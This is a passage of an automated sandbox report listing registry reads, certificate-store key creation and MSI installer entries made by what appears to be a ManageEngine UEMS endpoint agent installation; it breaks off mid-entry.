description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\LocationInformation dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0064 dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0064\ dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 dcusbsummary.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 dcusbsummary.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\LocationInformation dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\DeviceDesc dcusb64.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities dcusb64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0064 dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0064\ dcinventory.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 dcusb64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000 dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags dcinventory.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags dcinventory.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 2504 systeminfo.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs dcuploadlogs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing meaap.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs dcstatusutil.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\IdentityCRL\Immersive\production\Token\{A3D87918-9442-435E-9382-9B170962CAB4}\DeviceTicket = 0100000001000000d08c9ddf0115d1118c7a00c04fc297eb010000002e6f009eded69340a44182657b05f57a00000000020000000000106600000001000020000000542e18015b74de7b4d9541561db999382909047fec899262e26c1f63da93ddb0000000000e8000000002000020000000f9dbec0b2cdd90f4e9ddd80afed9fd84dfad847c9d045e7fbc641827e4203ee4000c00004943683c3d451d2bb06e110c6ae0624e47b2834818a69f8c3c907bf51da45ae25794f46f4921fa8c70ca37e9f24ee685f0e0b78d4dfe1bbce762596ab0c974523121224aaca0248e0e11693709ebe5369f23989b34f0ae1ca4ff1736b15fdd31ed66dae8533fd9bd387ff154cbf339c9e3d2479a7c4a68f07dfa5e95157f12a0e7c2da6ea1d8122c81c4cbe495e7c3bdc8cb4da098cda69aa32e326cc04b9ed43cf05465c757544997c5f79791d051da5b33106e90ce46fcfcf06eb286b2173ce6336faa108ee4688ec9a950b7debb01686a891b0a4d2fc9ed0b013e5feba8aff0eab7270f46e6d0d6b6ba1caa639e3468fc1135d6467f13dee3a269fc49bf1537b0773f68787a3780e3ad806ae83bc9b9d0bfb2a26c97d57a33c74206797a7fc9a3787766de75612a9e0ccbc60bae06fb5cf5c53a0354cdf8cffa60cf1c6bbf17e063af8fbd4980395965e2a3edcbbe43a81470a0967702b5fef610344b8ed8962fca4a10cdbf7118d2d59b18864dd7810150a19074998791d3a113a6f8a2559d1f20e73fa93e7f04f6c7c5448078afa2eac7211ddaf5edaeeae1a80a2787043272ddbe77dc8e31fe88f3b83ce2a76a9f9b65e13369fd8ceffd97f4836b5e0f66a9ab99c1d0ce952d12ec21761dc7131678ca4acfb6106e025e618d44174dbb3ee553f4968f3fbb8c83c8c3dfb9a0e2dc313e771d5b0d3744ea1551d0a82596da889047c7302a7e9b762fab2fad8f832f1675ffcc3ceb7202e559f909c82b5e996156585b780556d7c8ee627db2ee6807e2f68481673e72b2365b028174db3153f39add04d42208386bce39d9b42fc0782de093614f7caff7515ebc46c75bf5372a89eaaac102d1304b4305494c15b0f8a1d57f0fd736dc230f186ba1241f83ee68ad8694cc06bb38f73507668074f4c3e6756f8fbd494e38ce5de73b32d30ae9dcfa70cc4f6119fc1bcfd6ce5f1c77a071a146d7967f9fa1ba41f63a4c699350ff2ad736a5eaae2200587af72a1ca24020e89578ff9d992ecf597fa5172b3a196ad8b5a285f2238a29fce9edecd60df28a2a75f81e537b5572ff811463ceb3bfd1acae6367bb41b7fc52fe6c247ec325918634fe8019d9e44732ae129bca8c5fc41670bff08a2fc55bf432c2828702a67775bc1e0f54a3a8fa733e6e84a081e61a5c2897e58960692799d5f0deb8eb8efd2c34d6899e21a31f4158b5ac6e31057f2ab13bb956d47c02441d768086d3291c299602558b6a6870edff88197f693eeb219e9997ac69d578529a85ec8023dccaeef5ecf0230fa9279fb2b2099e4fd01d5ef30d5ec765009496b07add9ece8596ee82b926f828cff1862312e1fcf73fe769e970723b28b241640780ef17fd60d6da9d6981d7f8a8775c54009b2ffb646cb045b34eaf75f654c0259ba99a128d2632f3ee8216fb2cc33501ae7b1be7e4301b52777d870690d1a7a3317964a190dd135c3d3f83633d5e7a428e6efa1607f2c60b9927d2f3c1d8f12d0f07abdb870aa25c1224cc69559d5f5c0a6fc159296beeab9f62ffd6c827986a22ad5b685ea78728f15cb84aeac22f095275c700b2bcfc1c900ae70381517a83102da84aee71af0350b929489ddfd7e37ce685c418b8bc96423ed1ccbb8ffe8fd2aa5c19ca4f35e88b7025e5020e268ce189aa6ce12f68baca1aeb4dcdebb7746581b2201cba874db916caa506a2b20563412a78878d4cae01dee09e98bccb8f851ecf43357f07b2f3ff81ba394bb95db99b1fed3780d044b94ccc8e4e9a20a2f4ce8ac17f6ddaa287a727518054c47dbfecc6e489de6f5ab585953152e7a7154e6b0f7e7ab3075067fee2925a0541c29ed11b214862f44f8c5a34d7d03eec516b30c42da60cee6878c426966f5146a2ce014fb6abb512da47faad8b4610cd8bd021dcc993198155743cdd4ea63df3428ea38416dd84db5710d5cd811d7262df5b694aa34d15b32dd07fdec5e4f433a223585739a96fa56f43e07e595782373263ad48ceb6b8636c0f4dc4072453fd831b7b3e48349b1f69af96ebfc26ae8b5ed17d4d3292134a113206bb38fa666c352799eff1efcdf7514390e3e9687bd51565d51e0371f7d71ee70f1aee4ea076656d0860674420dfaab22bedb104cd0b90a146135c260fd08605a305127a25a99ddf64bfa04f89c8e605e45cb096f0a9f4ff26f4cf02ce7753e30c3fbac7930f852cec9070ea002042e5608f5cc0dd0b7b45ad340d6da329eadc6bb35355e487273318f1ebc7f8979abd1f34f58492a968c2ee0ef2890f8e32c17872c48f16329af8af8a74408046005fde368e03ba2cd08343a094c27955a9c2d6fdbc1b6d875a6c29579c028814b8b2af8e519d628f30c5ecfffd22d2d6794b833659c438ef203655bf1de0a2588d68501b22f00259b0f57f3865a7d9d5a9bd4112e7130dc8797c9859d129e8df65c5d239bc04a8ecc7b72934f1bd053af99ee41734ca7612778d2c01ec506030c19adb95caf8320476570ad68ed27a9c997416e0c2a78c29303a39827398e848ebc4514407cacd29516c3e423176e2279c03b36b9139428ecbaa8edf7662430f4390cbc85efa302eae21e5c6833b17ddd4a2267833a91f85dab8f7b25a2ef14b13f7558bbce81b2e8bdc0273c4183c3c3a07ec2a723c7fc1224939342c6afb8ab115eed8b3579cd8cc49ba468b118afe0e90285c7d744b19bc19c7f6268c982a8a37efeb0e312eca64781bc817f70813f76564a7be4639d62de7cd56cd2dc53daff2846b084560e17067eff202853343cbea55b4be40ad0ef36eb7259b61c2e8daa53747a2d122bdf2c3e9390db004056af07ddf3ec4428fced917db37024226683b2340e973b63bf5ddeed2394356197be0b2893e0bc01468193bbe67553e97af71eaf14108d586056878b244b45619d8376bfaeff0b956698fda6caacdc67dc58edc6950f26f071a9ada9bdd53cf1e37e7e6c6abf401f8d41f37cfd6c6597b0448fea137d10f286580f9ec36ab2680764173164609e6727b531b30701d76a4541ae6b147befbc2ecc53902889554d89279aa0c3be508c9f587841202a93c8367322bcae3e8652f81b99914e6c114b9641038348b6399dc15faaf7dbd76508355079da6dfa0976a680132781412e6452f85e7f4879cc08fd4457883061e87f295abae7195c2f08793b6eb67317f687138e6a67bb197eb4e3f61f49e71da10340321b659b0a93e72aa3976aa87099c459c7ef4e2645ef1d06aa04183de2e5c6022b3ca133799c86212c8d042e744549f56214fb38b29b9aed71fd90378155f99f43c3f8c1f81d8a538fbe220d1a55f611fec602e4cd5de8f3b4fedbdbcb383cd12b63f1342ab751450f5643d022808dd7d1fafa0add96651d38fffd3743c4e0c81fab42eb5d5dbe12ef61b0d7551717e1c9dfe74bab0079cc5ac3fefe8f2cc0f47c44adabf696f2cc5bcd7167b6622ab1933a089a110ede02ab3902ab7e7a02436ce030cf5add0c5d7cd32be8ee4006c882a1427344f81894735b65fba4bc98d75b050f3e9aee3c50e67be6b36d82369176142011521591ade34de49f8b221e516dedf1b2ed353bdf8a5f7c2e7ebfb3e1f836eaedcd6db9d26003f21e67f2707a325eaf1c002aa52c1fc9a3b65303158b4258c3dcf3d27d61a48faf14fd99d7a8e3aac076bee0f2ef084d31d1226618f5100ecca6d35d1502a57ade834347ad8da1f47430b94d8bf9c90c8917702d52bd53008cdcee9e7c16e9219e9ae83e455c8a09d6021f2b1f1c98287c3563b82e4712426384a697b668e60d095098be7f1fa59128714381b94dcede1f96d08470416c97098638c9b6658bd5c66a06b3c84f7319cfde4d9c8523b491473637077b760abdf319613f68a8c8a2dc7f4b6bf3bcdd122aeb87ec73b7fe587fc80ada1e850f5bca197443f36563fd8d6d1e75c89a212317f82eb3225d6e531c43f2e65231e700b6b2e17b6b3862c15ae4b52a68273c6629d51c5c96207dd65f37929e1bdbdf6905e76c62c4ce81c7f5513db069b692ced937abb1ffe466bcd5ce368b74fb6a19c89bf7d0d344cbbd1faae7633b3888d909c5695de3a1ca0611b0ca8c32d5ca99b23850cf551ba36052c61efc2013136927977eb60d108a4f2e0a92452f853d99a8f69ad0887048de8e3aa982678f0f1b1ce34352ef4830218658143ea2c255bbc39d71aa1512ed1e79da95b5b08c31f54d7ea3691507fad8cc310ad18c81a4acaba653e70b37372b5766f7570838325411b527a6ca452f7206c567924847b3b7f58656c20d0883e9c7c812538c4a3eb4b9e7a0aa92bf0fc1cbb287813161316b6490f335e4ed9e5132cd7400000000a95ee5d93fe382948e608ce3f8de63ec8aebbdcc527adcd5c73c8c06d82c23564cfc35b6202acaf4eabaecf05fa81cbf931f1d6ca425498fa05d6abb14213e6 CompatTelRunner.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA dcuploadlogs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs dcuploadlogs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates dcagentregister.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{289AF617-1CC3-42A6-926C-E6A863F0E3BA} {ADD8BA80-002B-11D0-8F0F-00C04FD7D062} 0xFFFF = 0100000000000000c25d8922e65ddd01 dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed dcondemand.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs dcuploadlogs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs meaap.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates dcconfig.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs dcuploadlogs.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing meaap.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs dcstatusutil.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs dcinventory.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs meaap.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed meaap.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs meaap.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs meaap.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs dcpatchscan.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed dcagentservice.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs dcagentregister.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing dcconfig.exe - Modifies registry class 36 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Version = "184879683" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\LocalOffice\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\LocalOffice\\" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net dcagentservice.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D8A2F4839B95CB04BA7F5CC68357B333\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net dcconfig.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Media\1 = ";" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\2 = "C:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\Updates\\Healer\\" dcagentservice.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F1322DA684FF95D4CA6204A5AF2ED37B\DefaultFeature msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Assignment = "1" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\AuthorizedLUAApp = "0" msiexec.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Clients = 3a0000000000 msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer dcagentservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList dcagentservice.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\ProductName = "ManageEngine UEMS - Agent" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Transforms = "C:\\Windows\\Installer\\{6AD2231F-FF48-4D59-AC26-405AFAE23DB7}\\UEMSAgent.mst" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\D8A2F4839B95CB04BA7F5CC68357B333 msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\2 = "C:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\Updates\\Healer\\" dcagentregister.exe Key created \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000_Classes\Local Settings CopilotUndockedHost_X64_153.0.7692.76_154.0.9315.71.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\PackageCode = "7C3FEC54F6DB2754AA34EB273B9C5915" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\AdvertiseFlags = "388" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net\2 = "C:\\Program Files (x86)\\ManageEngine\\UEMS_Agent\\Updates\\Healer\\" dcconfig.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\DeploymentFlags = "3" msiexec.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Media msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net dcagentregister.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\PackageName = "UEMSAgent.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\SourceList\Net msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\Language = "1033" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products dcagentservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B dcagentservice.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B\InstanceType = "0" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\F1322DA684FF95D4CA6204A5AF2ED37B msiexec.exe - Modifies system certificate store 2 TTPs 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedDevices\Certificates dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\SystemCertificates\FlightRoot dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6 dcagentregister.exe Key created \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\SystemCertificates\ClientAuthIssuer\CTLs dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\SystemCertificates\MSIEHistoryJournal\Certificates dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\SPC\CRLs dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F dcagentregister.exe Key created \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\Software\Microsoft\SystemCertificates\UserDS dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\SPC dcinventory.exe Key created \REGISTRY\USER\S-1-5-21-240542094-4193773837-3211495583-1000\SOFTWARE\Microsoft\SystemCertificates\FlightRoot\CTLs dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 dcinventory.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\B1BC968BD4F49D622AA89A81F2150152A41D829C\Blob = 